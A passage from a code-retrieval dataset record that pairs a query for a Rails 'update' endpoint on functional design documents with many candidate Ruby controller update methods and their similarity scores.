self.nested_symbols.first\n end", "title": "" } ]
c3d511199644be245a085cfbeb33b1bb
PATCH/PUT /functional_design_documents/1 PATCH/PUT /functional_design_documents/1.json
[ { "docid": "21b5934482af15fc9bcbc328cda0fd84", "score": "0.71794367", "text": "def update\n respond_to do |format|\n if @functional_design_document.update(functional_design_document_params)\n format.html { redirect_to @functional_design_document, notice: 'Functional design document was successfully updated.' }\n format.json { render :show, status: :ok, location: @functional_design_document }\n else\n format.html { render :edit }\n format.json { render json: @functional_design_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "f3c049b7be59000ca851e04f3126c7de", "score": "0.69816345", "text": "def update\n respond_to do |format|\n if @document.update_attributes(name: document_params[:name], lab_id: document_params[:lab_id])\n format.html { redirect_to documents_url, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: documents_url }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c2954392c78fef83058e1820b430eb73", "score": "0.69233066", "text": "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n # format.json { head :no_content }\n format.json { render jbuilder: @document }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b86e08c083f1ed8264b52497e82eb38", "score": "0.68848073", "text": "def update\n\tdata = unpack_document(params[:document][:datafile]) \n\tdoc_params = {:title => document_params[\"title\"], :date => get_date(document_params,\"date\")}\n\tif !data.nil? then\n\t\tdoc_params[:content] = data[:content]\n\t\tdoc_params[:styles] = data[:styles]\n\tend\n respond_to do |format|\n if @document.update(doc_params)\n format.html { redirect_to @document, notice: \"Document updated successfully\"}\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fdef5766dcb400777ce70f03918ab521", "score": "0.6871769", "text": "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to root_url , notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "84e8982bd2f1f4b905cf33d97dd2db88", "score": "0.68563867", "text": "def update\n document = Document.find(params[:id])\n if document.update(params_document)\n render json: document, status: 200\n else\n render json: document.errors, status: 422\n end\n\n end", "title": "" }, { "docid": "a14a2e54ea4151a2afdf3915e5abf751", "score": "0.681175", "text": "def update\n document = Document.find(params[:id])\n document.update!(update_params)\n render json: {}\n end", "title": "" }, { "docid": "4802e8d0b4c3f63de20045727097387d", "score": "0.6783473", "text": "def update\n\t\traise RuntimeError, \"Not authorized\" unless current_user && current_user.root? == true\n\n\t\tparams = doc_params\n\t\tparams[:body].gsub!(/\\r\\n/, \"\\n\")\n\t\t@doc = Doc.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @doc.update(params)\n\t\t\t\tformat.html { redirect_to @doc, notice: t('controllers.shared.successfully_updated', :model => t('activerecord.models.doc')) }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @doc.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "58fd83317f2c4fcf270ae4166c8b5534", "score": "0.677949", "text": "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to documents_path, notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9b7d2a85033087707292fb9fb3b7b214", "score": "0.6771484", "text": "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9b7d2a85033087707292fb9fb3b7b214", "score": "0.6771484", "text": "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9b7d2a85033087707292fb9fb3b7b214", "score": "0.6771484", "text": "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dd33d919faecb98eff29863b35e393c8", "score": "0.6749791", "text": "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to @document, :notice => 'Document was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "87dbdc5f895d4be6756f3d05b9896de9", "score": "0.6746867", "text": "def update\n @document = Document.find(params[:id])\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.json { render :json => nil, :status => :ok }\n format.html { redirect_to(@document, :notice => 'Document was successfully updated.') }\n else\n format.json { render :json => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e08baf5976b6cc4496d37242df06059e", "score": "0.6740043", "text": "def update\n @modified_document = ModifiedDocument.find(params[:id])\n \n if @modified_document.update(modified_document_params)\n render json: @modified_document, status: :ok \n else\n render json: @modified_document.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d9f41370900431252d94b10fd201dcf7", "score": "0.67320114", "text": "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(resource_params)\n format.html { redirect_to @document, notice: 'Primary document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c2e71626943801c735d01e2fee4edd56", "score": "0.67263365", "text": "def update\n\n @documentable = @document.documentable\n\n respond_to do |format|\n if @document.update(document_params)\n notify_user(:notice, 'Document was successfully updated.')\n format.html { redirect_to get_resource_url(@documentable) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b7e307c19989ac12c8927a5736c71da7", "score": "0.67240816", "text": "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4c1ddf6666a867a44481ec3a0de0db0", "score": "0.67216957", "text": "def update\n \n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to edit_document_path(@document), notice: 'Documento gardado correctamente' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n \n end", "title": "" }, { "docid": "b3d76c1ff184fb7401d871735c233393", "score": "0.6708799", "text": "def update\n \t@document = Document.find(params[:id])\n if @document.update_attributes(document_params)\n render json: {status: 'SUCCESS', message:'Document updated', data:@document}, status: :ok\n else\n\t\trender json: {status: 'ERROR', message:'Document not updated', data:@document.errors}, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e40d10f7b79bb618dae4de85a3c4a835", "score": "0.6705155", "text": "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to :action => \"index\", notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d91ce2c3210c2328e7940c23f786905a", "score": "0.6705118", "text": "def update\n add_breadcrumb @document.name, library_category_library_document_path(@category, @document)\n add_breadcrumb \"Modify\"\n\n respond_to do |format|\n if @document.update(document_params)\n notify_user(:notice, 'Document was successfully updated.')\n format.html { redirect_to library_category_library_document_path(@category, @document) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "30084421a990f9349b838428e0779f9b", "score": "0.6704525", "text": "def update\n document = @document.revision.versions.new(document_params(true))\n if document.save\n send_emails_helper(document)\n render json: document.attributes_for_edit\n else\n render json: document.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "35851b4770a64204df8120a621754ebc", "score": "0.6684536", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "35851b4770a64204df8120a621754ebc", "score": "0.6684536", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "35851b4770a64204df8120a621754ebc", "score": "0.6684536", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad2ddd3902a771e754e2f74acd0cb5b2", "score": "0.66771144", "text": "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to @document, :flash => { :success => 'Document was successfully updated.' } }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2296e2efc49e2e47e9b412bf1de8b249", "score": "0.6660987", "text": "def update\n @event_subscription.update(event_subscription_params)\n @event_subscription.save\n\n file_params.each do |requirement|\n if(requirement[\"doc\"])\n requirement.symbolize_keys\n requirement[:doc].symbolize_keys\n path = \"data:#{requirement[:doc][:filetype]};base64, #{requirement[:doc][:base64]}\"\n Document.update(id: requirement[:doc][:id],\n user_id: @event_subscription.user_id,\n requirement_id: requirement[:id],\n state: \"pending_review\",\n path: path\n )\n end\n end\n render json: @event_subscription, status: :updated\n end", "title": "" }, { "docid": "b1ee29ed994b31d0d52c5b9af8e25e10", "score": "0.6655091", "text": "def update\n if @doc.update_from_params(params[:course_document])\n render json: @doc, status: :ok\n else\n render json: doc.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "818c807fc9ca85ee33bdda1c2afd72a3", "score": "0.6651925", "text": "def update\n respond_to do |format|\n if @doc_file.update(doc_file_params)\n format.html { redirect_to @doc_file, notice: 'Doc file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @doc_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a684d9e39041eb1c2eb0a682be28ffaf", "score": "0.6624464", "text": "def update\n Rails.logger.info \"Before update\"\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n Rails.logger.info \"After update\"\n end", "title": "" }, { "docid": "de3f896a03a728fafdc657b30a20532a", "score": "0.66023785", "text": "def update\n authorize @document\n disable_primary if document_params[:primary]\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document.instruction, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "775b3cc612e3f911ecb198a0cb067de8", "score": "0.6589541", "text": "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to edit_admin_document_path(@document), notice: 'Document was successfully updated.' }\n format.js { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0c9def52b1d15125f2a1b069739ef984", "score": "0.6551747", "text": "def update\n respond_to do |format|\n if @documentation.update(documentation_params)\n format.html { redirect_to @documentation, notice: 'Documentation was successfully updated.' }\n format.json { render :show, status: :ok, location: @documentation }\n else\n format.html { render :edit }\n format.json { render json: @documentation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "90a432fb9008cc42d8362d9d5351878f", "score": "0.6530814", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to documents_path, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: documents_path }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0d6dcb045bfaddb39a9da8ebcd5730bc", "score": "0.65170276", "text": "def update\n respond_to do |format|\n if @client_doc.update(client_doc_params)\n format.html { redirect_to @client_doc, notice: 'Client doc was successfully updated.' }\n format.json { render :show, status: :ok, location: @client_doc }\n else\n format.html { render :edit }\n format.json { render json: @client_doc.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6b519f48ac7f4b8612e1296939828a6f", "score": "0.6512325", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n @document.create_activity :update, owner: current_user\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70cbc116c0276fd92d0383aafa6b901a", "score": "0.64984655", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70cbc116c0276fd92d0383aafa6b901a", "score": "0.64984655", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70cbc116c0276fd92d0383aafa6b901a", "score": "0.64984655", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70cbc116c0276fd92d0383aafa6b901a", "score": "0.64984655", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70cbc116c0276fd92d0383aafa6b901a", "score": "0.64984655", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70cbc116c0276fd92d0383aafa6b901a", "score": "0.64984655", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70cbc116c0276fd92d0383aafa6b901a", "score": "0.64984655", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "70cbc116c0276fd92d0383aafa6b901a", "score": "0.6497402", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fe588336ed8e28aac6470b387ebc7dfe", "score": "0.64957494", "text": "def save_design_doc(data)\n attrs = case data\n when String\n MultiJson.load(data)\n when IO\n MultiJson.load(data.read)\n when Hash\n data\n else\n raise ArgumentError, \"Document should be Hash, String or IO instance\"\n end\n rv = nil\n id = attrs.delete('_id').to_s\n attrs['language'] ||= 'javascript'\n if id !~ /\\A_design\\//\n rv = Result.new(:operation => :http_request,\n :key => id,\n :error => ArgumentError.new(\"'_id' key must be set and start with '_design/'.\"))\n yield rv if block_given?\n raise rv.error unless async?\n end\n req = make_http_request(id, :body => MultiJson.dump(attrs),\n :method => :put, :extended => true)\n req.on_body do |res|\n rv = res\n val = MultiJson.load(res.value)\n if block_given?\n if res.success? && val['error']\n res.error = Error::View.new(\"save_design_doc\", val['error'])\n end\n yield(res)\n end\n end\n req.continue\n unless async?\n rv.success? or raise res.error\n end\n end", "title": "" }, { "docid": "02acfa04ef300b6315b4dc0169784ca5", "score": "0.64853483", "text": "def update\n @collection = @document.collection\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_back fallback_location: collection_documents_path(@collection), notice: 'The document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: {error: @document.errors}, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c950927eb89c88167d55a2332b37a9aa", "score": "0.6475712", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to documents_url, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e34a8ec214b14ede130f659b58ae91ce", "score": "0.6473395", "text": "def update\n respond_to do |format|\n if @has_document.update(has_document_params)\n format.html { redirect_to @has_document, notice: 'Has document was successfully updated.' }\n format.json { render :show, status: :ok, location: @has_document }\n else\n format.html { render :edit }\n format.json { render json: @has_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b543a15f76c1cbf3962fba6f9a8881e5", "score": "0.64727193", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json {\n render json: {\n status_code: 0\n }\n }\n else\n format.html { render action: 'edit' }\n format.json {\n render json: {\n status_code: 1,\n errors: @document.errors\n }\n }\n end\n end\n end", "title": "" }, { "docid": "bd93f59d5ad82b586a4175536e5f520e", "score": "0.64676166", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: \"Document was successfully updated.\" }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9b9f65216f841c8829a7e54f04f21c64", "score": "0.64619446", "text": "def update\n respond_to do |format|\n if @docfile.update(docfile_params)\n format.html { redirect_to @docfile, notice: \"Docfile was successfully updated.\" }\n format.json { render :show, status: :ok, location: @docfile }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @docfile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f0f22d03542ac7425e1c322c78367eba", "score": "0.6457924", "text": "def update\n @special_document = ModifiedDocument.find(params[:id])\n\n respond_to do |format|\n if @special_document.update_attributes(params[:special_document])\n format.html { redirect_to @special_document, notice: 'Special document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @special_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d6fb4def4adc7cd281e3201d956ce352", "score": "0.64575803", "text": "def update\r\n\r\n respond_to do |format|\r\n if @document.update(document_params)\r\n format.html { redirect_to root_url, notice: 'Document was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @document }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @document.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "d7486519211f5b79b55feae4e101b734", "score": "0.6455021", "text": "def update_document index, id, document\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/#{id}/_update\")\n req = Net::HTTP::Post.new(uri)\n req.body = { \"doc\": document }.to_json\n run(uri, req)\n end", "title": "" }, { "docid": "7472d10d0d7b447029eb6538c0354aeb", "score": "0.6441465", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9571e2fd1d8801874157c953b2cd9a78", "score": "0.64293724", "text": "def update\r\n params[:document][:version] = ENV[\"VERSION\"]\r\n params[:document][:username] = current_user.username\r\n @document = Document.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @document.update_attributes(document_params)\r\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @document.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "7f7905054f7c091d4f4f4363bcb768e5", "score": "0.64115745", "text": "def update\n respond_to do |format|\n if @doc_artefact.update(doc_artefact_params)\n format.html { redirect_to @doc_artefact, notice: 'Doc artefact was successfully updated.' }\n format.json { render :show, status: :ok, location: @doc_artefact }\n else\n format.html { render :edit }\n format.json { render json: @doc_artefact.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3590e1298a2db817329ead5a7a350eb8", "score": "0.63679844", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n format.html { redirect_to back_index_case_url, notice: 'Document was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "title": "" }, { "docid": "998e8cad065cbabd00580ab2c235c42b", "score": "0.63546115", "text": "def update!(**args)\n @documents = args[:documents] if args.key?(:documents)\n end", "title": "" }, { "docid": "939cdbd57de9006f78c23732930f2b13", "score": "0.6339736", "text": "def update\n @document = Document.find(params[:id])\n suc_msg = 'Document was successfully updated. '\n\n #if we're in document text edit mode, or notes edit mode\n if (params.include?(\"document\")) and (params[\"document\"].include?(\"post\")) and (params[\"document\"][\"post\"] == \"edit_text\")\n @document.stuffing_text = params[\"document\"][\"stuffing_text\"]\n update_suc = @document.save\n elsif (params.include?(\"document\")) and (params[\"document\"].include?(\"post\")) and (params[\"document\"][\"post\"] == \"edit_notes\")\n @document.stuffing_notes = params[\"document\"][\"stuffing_notes\"]\n update_suc = @document.save\n else\n #Add doc to project\n if params.include?(\"proj\") and params[:proj].include?(\"id\") and params[:proj][:id] != \"\"\n project = Project.find(params[:proj][:id])\n if (project != nil)\n add_project_doc(project, @document) #call to document helper, adds doc to project\n end\n end\n \n #Add selected upload as a note to the document\n if (params.include?(\"note\") and params[\"note\"].include?(\"upload_id\") and (!params[\"note\"][\"upload_id\"].blank?) )\n add_note(params[\"note\"][\"upload_id\"])\n end\n \n #Removed selected notes from a documet\n if (params.include?(\"remove_ids\") and (!params[\"remove_ids\"].blank?) )\n remove_notes(params[\"remove_ids\"]) #Remove notes\n end\n\n user = User.where(:id => params[:new_user_id]).first\n\n #Update other attributes\n if (@document.user_id == current_user.id)\n update_suc = @document.update_attributes(params[:document])\n else\n #needed becuase update will drop collection id if an editor tries to use a filter\n coll_id = @document.collection_id\n update_suc = @document.update_attributes(params[:document])\n update_suc = @document.update_attributes(:collection_id => coll_id)\n end\n\n #Filter / Validate\n if ( params.include?(\"post\") and params[:post].include?(\"ifilter_id\") and params[:post][:ifilter_id] != \"\" )\n \n f = get_ifilter(params[:post][:ifilter_id].to_i)\n status, msg = validate_document(@document, f)\n suc_msg += msg\n end\n end #end if in text edit mode, else...\n\n respond_to do |format|\n if update_suc\n format.html { redirect_to edit_document_path(@document), notice: suc_msg }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3769474b0e6d30019b932ed81835aea", "score": "0.6329182", "text": "def update\n respond_to do |format|\n if @contract_document.update(contract_document_params)\n format.html { redirect_to @contract_document, notice: 'Contract document was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @contract_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1bd694154ca30e0d591e31070cd4c99", "score": "0.6313584", "text": "def update\n @doc = Doc.find(params[:id])\n \n respond_to do |format|\n if @doc.update_attributes(params[:doc])\n save_object_relationship\n format.html { redirect_to(@doc, :notice => 'Doc was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @doc.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7ceb8c259816a07294d11c9f71833299", "score": "0.63035464", "text": "def update\n @documento = Documento.find(params[:id])\n\n respond_to do |format|\n if @documento.update_attributes(params[:documento])\n format.html { redirect_to @documento, notice: 'Documento was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @documento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4840dd2894546f708a87e11b0b2786c1", "score": "0.63010836", "text": "def update\n @document = Document.find(params[:id])\n\n respond_to do |format|\n if @document.update_attributes(params[:document])\n format.html { redirect_to(@document, :notice => 'Document was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @document.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1cbad92dbdfc609200ffecc807bb04cd", "score": "0.6299857", "text": "def update\n if params[:resource][:document].present?\n @resource.document.purge\n @resource.document.attach(params[:resource][:document])\n end\n if params[:resource][:sample].present?\n @resource.sample.purge\n @resource.sample.attach(params[:resource][:sample])\n end\n respond_to do |format|\n if @resource.update(resource_params)\n format.html { redirect_to @resource, notice: 'Resource was successfully updated.' }\n format.json { render :show, status: :ok, location: @resource }\n else\n format.html { render :edit }\n format.json { render json: @resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eb9a3b119ff41daf1aafc62d732c5795", "score": "0.62973976", "text": "def update\n @doc = Doc.find(params[:id])\n\n respond_to do |format|\n if @doc.update_attributes(params[:doc])\n format.html { redirect_to(@doc, :notice => 'Doc was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @doc.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "748c520c8c2055e2020a1164a48b9ca5", "score": "0.62966484", "text": "def update\n @breadcrumb = 'update'\n @contracting_request_document_type = ContractingRequestDocumentType.find(params[:id])\n @contracting_request_document_type.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @contracting_request_document_type.update_attributes(params[:contracting_request_document_type])\n format.html { redirect_to @contracting_request_document_type,\n notice: (crud_notice('updated', @contracting_request_document_type) + \"#{undo_link(@contracting_request_document_type)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contracting_request_document_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b3a010d62513755fe832804584312173", "score": "0.62859035", "text": "def update\n respond_to do |format|\n if @doc_type.update(doc_type_params)\n format.html { redirect_to @doc_type, notice: t('message.template.scaffold.update', model: t('activerecord.models.doc_type')) }\n format.json { render :show, status: :ok, location: @doc_type }\n else\n format.html { render :edit }\n format.json { render json: @doc_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "63b1e81693324e81a8c78a5ce3249217", "score": "0.62850386", "text": "def update\n @filing_doc = FilingDoc.find(params[:id])\n\n respond_to do |format|\n if @filing_doc.update_attributes(params[:filing_doc])\n format.html { redirect_to @filing_doc, notice: 'Filing doc was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @filing_doc.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d9f7bdd8ff5842672b3ea335cddce4f2", "score": "0.6280887", "text": "def update\n respond_to do |format|\n if @externaldocument.update(externaldocument_params)\n format.html { redirect_to @externaldocument, notice: 'Externaldocument was successfully updated.' }\n format.json { render :show, status: :ok, location: @externaldocument }\n else\n format.html { render :edit }\n format.json { render json: @externaldocument.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8583be6fa3adac9cbf94597582238286", "score": "0.62802047", "text": "def update\n @document_type = 